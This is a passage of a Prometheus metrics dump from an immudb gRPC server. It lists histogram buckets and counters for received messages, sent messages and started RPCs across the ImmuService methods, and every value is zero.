grpc_server_handling_seconds_bucket{grpc_method="SetBatchSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="2.5"} 0 grpc_server_handling_seconds_bucket{grpc_method="SetBatchSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="5"} 0 grpc_server_handling_seconds_bucket{grpc_method="SetBatchSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="10"} 0 grpc_server_handling_seconds_bucket{grpc_method="SetBatchSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="+Inf"} 0 grpc_server_handling_seconds_sum{grpc_method="SetBatchSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handling_seconds_count{grpc_method="SetBatchSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handling_seconds_bucket{grpc_method="SetPermission",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.005"} 0 grpc_server_handling_seconds_bucket{grpc_method="SetPermission",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.01"} 0 grpc_server_handling_seconds_bucket{grpc_method="SetPermission",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.025"} 0 grpc_server_handling_seconds_bucket{grpc_method="SetPermission",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.05"} 0 grpc_server_handling_seconds_bucket{grpc_method="SetPermission",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.1"} 0 grpc_server_handling_seconds_bucket{grpc_method="SetPermission",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.25"} 0 grpc_server_handling_seconds_bucket{grpc_method="SetPermission",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.5"} 0 grpc_server_handling_seconds_bucket{grpc_method="SetPermission",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="1"} 0 grpc_server_handling_seconds_bucket{grpc_method="SetPermission",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="2.5"} 0 grpc_server_handling_seconds_bucket{grpc_method="SetPermission",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="5"} 0 grpc_server_handling_seconds_bucket{grpc_method="SetPermission",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="10"} 0 grpc_server_handling_seconds_bucket{grpc_method="SetPermission",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="+Inf"} 0 grpc_server_handling_seconds_sum{grpc_method="SetPermission",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handling_seconds_count{grpc_method="SetPermission",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handling_seconds_bucket{grpc_method="SetSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.005"} 0 grpc_server_handling_seconds_bucket{grpc_method="SetSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.01"} 0 grpc_server_handling_seconds_bucket{grpc_method="SetSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.025"} 0 grpc_server_handling_seconds_bucket{grpc_method="SetSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.05"} 0 grpc_server_handling_seconds_bucket{grpc_method="SetSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.1"} 0 grpc_server_handling_seconds_bucket{grpc_method="SetSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.25"} 0 grpc_server_handling_seconds_bucket{grpc_method="SetSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.5"} 0 grpc_server_handling_seconds_bucket{grpc_method="SetSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="1"} 0 grpc_server_handling_seconds_bucket{grpc_method="SetSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="2.5"} 0 grpc_server_handling_seconds_bucket{grpc_method="SetSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="5"} 0 grpc_server_handling_seconds_bucket{grpc_method="SetSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="10"} 0 grpc_server_handling_seconds_bucket{grpc_method="SetSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="+Inf"} 0 grpc_server_handling_seconds_sum{grpc_method="SetSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handling_seconds_count{grpc_method="SetSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handling_seconds_bucket{grpc_method="UpdateAuthConfig",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.005"} 0 grpc_server_handling_seconds_bucket{grpc_method="UpdateAuthConfig",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.01"} 0 grpc_server_handling_seconds_bucket{grpc_method="UpdateAuthConfig",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.025"} 0 grpc_server_handling_seconds_bucket{grpc_method="UpdateAuthConfig",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.05"} 0 grpc_server_handling_seconds_bucket{grpc_method="UpdateAuthConfig",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.1"} 0 grpc_server_handling_seconds_bucket{grpc_method="UpdateAuthConfig",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.25"} 0 grpc_server_handling_seconds_bucket{grpc_method="UpdateAuthConfig",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.5"} 0 grpc_server_handling_seconds_bucket{grpc_method="UpdateAuthConfig",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="1"} 0 grpc_server_handling_seconds_bucket{grpc_method="UpdateAuthConfig",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="2.5"} 0 grpc_server_handling_seconds_bucket{grpc_method="UpdateAuthConfig",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="5"} 0 grpc_server_handling_seconds_bucket{grpc_method="UpdateAuthConfig",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="10"} 0 grpc_server_handling_seconds_bucket{grpc_method="UpdateAuthConfig",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="+Inf"} 0 grpc_server_handling_seconds_sum{grpc_method="UpdateAuthConfig",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handling_seconds_count{grpc_method="UpdateAuthConfig",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handling_seconds_bucket{grpc_method="UpdateMTLSConfig",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.005"} 0 grpc_server_handling_seconds_bucket{grpc_method="UpdateMTLSConfig",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.01"} 0 grpc_server_handling_seconds_bucket{grpc_method="UpdateMTLSConfig",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.025"} 0 grpc_server_handling_seconds_bucket{grpc_method="UpdateMTLSConfig",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.05"} 0 grpc_server_handling_seconds_bucket{grpc_method="UpdateMTLSConfig",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.1"} 0 grpc_server_handling_seconds_bucket{grpc_method="UpdateMTLSConfig",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.25"} 0 grpc_server_handling_seconds_bucket{grpc_method="UpdateMTLSConfig",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.5"} 0 grpc_server_handling_seconds_bucket{grpc_method="UpdateMTLSConfig",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="1"} 0 grpc_server_handling_seconds_bucket{grpc_method="UpdateMTLSConfig",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="2.5"} 0 grpc_server_handling_seconds_bucket{grpc_method="UpdateMTLSConfig",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="5"} 0 grpc_server_handling_seconds_bucket{grpc_method="UpdateMTLSConfig",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="10"} 0 grpc_server_handling_seconds_bucket{grpc_method="UpdateMTLSConfig",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="+Inf"} 0 grpc_server_handling_seconds_sum{grpc_method="UpdateMTLSConfig",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handling_seconds_count{grpc_method="UpdateMTLSConfig",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handling_seconds_bucket{grpc_method="UseDatabase",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.005"} 0 grpc_server_handling_seconds_bucket{grpc_method="UseDatabase",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.01"} 0 grpc_server_handling_seconds_bucket{grpc_method="UseDatabase",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.025"} 0 grpc_server_handling_seconds_bucket{grpc_method="UseDatabase",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.05"} 0 grpc_server_handling_seconds_bucket{grpc_method="UseDatabase",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.1"} 0 grpc_server_handling_seconds_bucket{grpc_method="UseDatabase",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.25"} 0 grpc_server_handling_seconds_bucket{grpc_method="UseDatabase",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.5"} 0 grpc_server_handling_seconds_bucket{grpc_method="UseDatabase",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="1"} 0 grpc_server_handling_seconds_bucket{grpc_method="UseDatabase",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="2.5"} 0 grpc_server_handling_seconds_bucket{grpc_method="UseDatabase",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="5"} 0 grpc_server_handling_seconds_bucket{grpc_method="UseDatabase",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="10"} 0 grpc_server_handling_seconds_bucket{grpc_method="UseDatabase",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="+Inf"} 0 grpc_server_handling_seconds_sum{grpc_method="UseDatabase",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handling_seconds_count{grpc_method="UseDatabase",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handling_seconds_bucket{grpc_method="ZAdd",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.005"} 0 grpc_server_handling_seconds_bucket{grpc_method="ZAdd",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.01"} 0 grpc_server_handling_seconds_bucket{grpc_method="ZAdd",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.025"} 0 grpc_server_handling_seconds_bucket{grpc_method="ZAdd",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.05"} 0 grpc_server_handling_seconds_bucket{grpc_method="ZAdd",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.1"} 0 grpc_server_handling_seconds_bucket{grpc_method="ZAdd",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.25"} 0 grpc_server_handling_seconds_bucket{grpc_method="ZAdd",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.5"} 0 grpc_server_handling_seconds_bucket{grpc_method="ZAdd",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="1"} 0 grpc_server_handling_seconds_bucket{grpc_method="ZAdd",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="2.5"} 0 grpc_server_handling_seconds_bucket{grpc_method="ZAdd",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="5"} 0 grpc_server_handling_seconds_bucket{grpc_method="ZAdd",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="10"} 0 grpc_server_handling_seconds_bucket{grpc_method="ZAdd",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="+Inf"} 0 grpc_server_handling_seconds_sum{grpc_method="ZAdd",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handling_seconds_count{grpc_method="ZAdd",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handling_seconds_bucket{grpc_method="ZScan",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.005"} 0 grpc_server_handling_seconds_bucket{grpc_method="ZScan",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.01"} 0 grpc_server_handling_seconds_bucket{grpc_method="ZScan",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.025"} 0 grpc_server_handling_seconds_bucket{grpc_method="ZScan",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.05"} 0 grpc_server_handling_seconds_bucket{grpc_method="ZScan",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.1"} 0 grpc_server_handling_seconds_bucket{grpc_method="ZScan",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.25"} 0 grpc_server_handling_seconds_bucket{grpc_method="ZScan",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.5"} 0 grpc_server_handling_seconds_bucket{grpc_method="ZScan",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="1"} 0 grpc_server_handling_seconds_bucket{grpc_method="ZScan",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="2.5"} 0 grpc_server_handling_seconds_bucket{grpc_method="ZScan",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="5"} 0 grpc_server_handling_seconds_bucket{grpc_method="ZScan",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="10"} 0 grpc_server_handling_seconds_bucket{grpc_method="ZScan",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="+Inf"} 0 grpc_server_handling_seconds_sum{grpc_method="ZScan",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handling_seconds_count{grpc_method="ZScan",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handling_seconds_bucket{grpc_method="ZScanSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.005"} 0 grpc_server_handling_seconds_bucket{grpc_method="ZScanSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.01"} 0 grpc_server_handling_seconds_bucket{grpc_method="ZScanSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.025"} 0 grpc_server_handling_seconds_bucket{grpc_method="ZScanSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.05"} 0 grpc_server_handling_seconds_bucket{grpc_method="ZScanSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.1"} 0 grpc_server_handling_seconds_bucket{grpc_method="ZScanSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.25"} 0 grpc_server_handling_seconds_bucket{grpc_method="ZScanSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.5"} 0 grpc_server_handling_seconds_bucket{grpc_method="ZScanSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="1"} 0 grpc_server_handling_seconds_bucket{grpc_method="ZScanSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="2.5"} 0 grpc_server_handling_seconds_bucket{grpc_method="ZScanSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="5"} 0 grpc_server_handling_seconds_bucket{grpc_method="ZScanSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="10"} 0 grpc_server_handling_seconds_bucket{grpc_method="ZScanSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="+Inf"} 0 grpc_server_handling_seconds_sum{grpc_method="ZScanSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handling_seconds_count{grpc_method="ZScanSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 # HELP grpc_server_msg_received_total Total number of RPC stream messages received on the server. # TYPE grpc_server_msg_received_total counter grpc_server_msg_received_total{grpc_method="ByIndex",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_msg_received_total{grpc_method="ByIndexSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_msg_received_total{grpc_method="BySafeIndex",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_msg_received_total{grpc_method="ChangePassword",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_msg_received_total{grpc_method="ChangePermission",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_msg_received_total{grpc_method="Consistency",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_msg_received_total{grpc_method="Count",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_msg_received_total{grpc_method="CreateDatabase",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_msg_received_total{grpc_method="CreateUser",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_msg_received_total{grpc_method="CurrentRoot",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_msg_received_total{grpc_method="DatabaseList",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_msg_received_total{grpc_method="DeactivateUser",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_msg_received_total{grpc_method="Dump",grpc_service="immudb.schema.ImmuService",grpc_type="server_stream"} 0 grpc_server_msg_received_total{grpc_method="Get",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_msg_received_total{grpc_method="GetBatch",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_msg_received_total{grpc_method="GetBatchSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_msg_received_total{grpc_method="GetSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_msg_received_total{grpc_method="GetUser",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_msg_received_total{grpc_method="Health",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_msg_received_total{grpc_method="History",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_msg_received_total{grpc_method="HistorySV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_msg_received_total{grpc_method="IScan",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_msg_received_total{grpc_method="IScanSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_msg_received_total{grpc_method="Inclusion",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_msg_received_total{grpc_method="ListUsers",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_msg_received_total{grpc_method="Login",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_msg_received_total{grpc_method="Logout",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_msg_received_total{grpc_method="Reference",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_msg_received_total{grpc_method="SafeGet",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_msg_received_total{grpc_method="SafeGetSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_msg_received_total{grpc_method="SafeReference",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_msg_received_total{grpc_method="SafeSet",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_msg_received_total{grpc_method="SafeSetSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_msg_received_total{grpc_method="SafeZAdd",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_msg_received_total{grpc_method="Scan",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_msg_received_total{grpc_method="ScanSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_msg_received_total{grpc_method="Set",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_msg_received_total{grpc_method="SetActiveUser",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_msg_received_total{grpc_method="SetBatch",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_msg_received_total{grpc_method="SetBatchSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_msg_received_total{grpc_method="SetPermission",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_msg_received_total{grpc_method="SetSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_msg_received_total{grpc_method="UpdateAuthConfig",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_msg_received_total{grpc_method="UpdateMTLSConfig",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_msg_received_total{grpc_method="UseDatabase",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_msg_received_total{grpc_method="ZAdd",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_msg_received_total{grpc_method="ZScan",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_msg_received_total{grpc_method="ZScanSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 # HELP grpc_server_msg_sent_total Total number of gRPC stream messages sent by the server. # TYPE grpc_server_msg_sent_total counter grpc_server_msg_sent_total{grpc_method="ByIndex",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_msg_sent_total{grpc_method="ByIndexSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_msg_sent_total{grpc_method="BySafeIndex",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_msg_sent_total{grpc_method="ChangePassword",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_msg_sent_total{grpc_method="ChangePermission",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_msg_sent_total{grpc_method="Consistency",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_msg_sent_total{grpc_method="Count",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_msg_sent_total{grpc_method="CreateDatabase",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_msg_sent_total{grpc_method="CreateUser",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_msg_sent_total{grpc_method="CurrentRoot",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_msg_sent_total{grpc_method="DatabaseList",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_msg_sent_total{grpc_method="DeactivateUser",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_msg_sent_total{grpc_method="Dump",grpc_service="immudb.schema.ImmuService",grpc_type="server_stream"} 0 grpc_server_msg_sent_total{grpc_method="Get",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_msg_sent_total{grpc_method="GetBatch",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_msg_sent_total{grpc_method="GetBatchSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_msg_sent_total{grpc_method="GetSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_msg_sent_total{grpc_method="GetUser",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_msg_sent_total{grpc_method="Health",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_msg_sent_total{grpc_method="History",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_msg_sent_total{grpc_method="HistorySV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_msg_sent_total{grpc_method="IScan",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_msg_sent_total{grpc_method="IScanSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_msg_sent_total{grpc_method="Inclusion",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_msg_sent_total{grpc_method="ListUsers",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_msg_sent_total{grpc_method="Login",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_msg_sent_total{grpc_method="Logout",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_msg_sent_total{grpc_method="Reference",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_msg_sent_total{grpc_method="SafeGet",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_msg_sent_total{grpc_method="SafeGetSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_msg_sent_total{grpc_method="SafeReference",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_msg_sent_total{grpc_method="SafeSet",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_msg_sent_total{grpc_method="SafeSetSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_msg_sent_total{grpc_method="SafeZAdd",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_msg_sent_total{grpc_method="Scan",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_msg_sent_total{grpc_method="ScanSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_msg_sent_total{grpc_method="Set",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_msg_sent_total{grpc_method="SetActiveUser",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_msg_sent_total{grpc_method="SetBatch",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_msg_sent_total{grpc_method="SetBatchSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_msg_sent_total{grpc_method="SetPermission",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_msg_sent_total{grpc_method="SetSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_msg_sent_total{grpc_method="UpdateAuthConfig",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_msg_sent_total{grpc_method="UpdateMTLSConfig",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_msg_sent_total{grpc_method="UseDatabase",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_msg_sent_total{grpc_method="ZAdd",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_msg_sent_total{grpc_method="ZScan",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_msg_sent_total{grpc_method="ZScanSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 # HELP grpc_server_started_total Total number of RPCs started on the server. # TYPE grpc_server_started_total counter grpc_server_started_total{grpc_method="ByIndex",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_started_total{grpc_method="ByIndexSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_started_total{grpc_method="BySafeIndex",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_started_total{grpc_method="ChangePassword",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_started_total{grpc_method="ChangePermission",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_started_total{grpc_method="Consistency",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_started_total{grpc_method="Count",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_started_total{grpc_method="CreateDatabase",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_started_total{grpc_method="CreateUser",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_started_total{grpc_method="CurrentRoot",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_started_total{grpc_method="DatabaseList",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_started_total{grpc_method="DeactivateUser",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_started_total{grpc_method="Dump",grpc_service="immudb.schema.ImmuService",grpc_type="server_stream"} 0 grpc_server_started_total{grpc_method="Get",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_started_total{grpc_method="GetBatch",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_started_total{grpc_method="GetBatchSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_started_total{grpc_method="GetSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_started_total{grpc_method="GetUser",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_started_total{grpc_method="Health",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_started_total{grpc_method="History",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_started_total{grpc_method="HistorySV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_started_total{grpc_method="IScan",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_started_total{grpc_method="IScanSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_started_total{grpc_method="Inclusion",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_started_total{grpc_method="ListUsers",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_started_total{grpc_method="Login",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 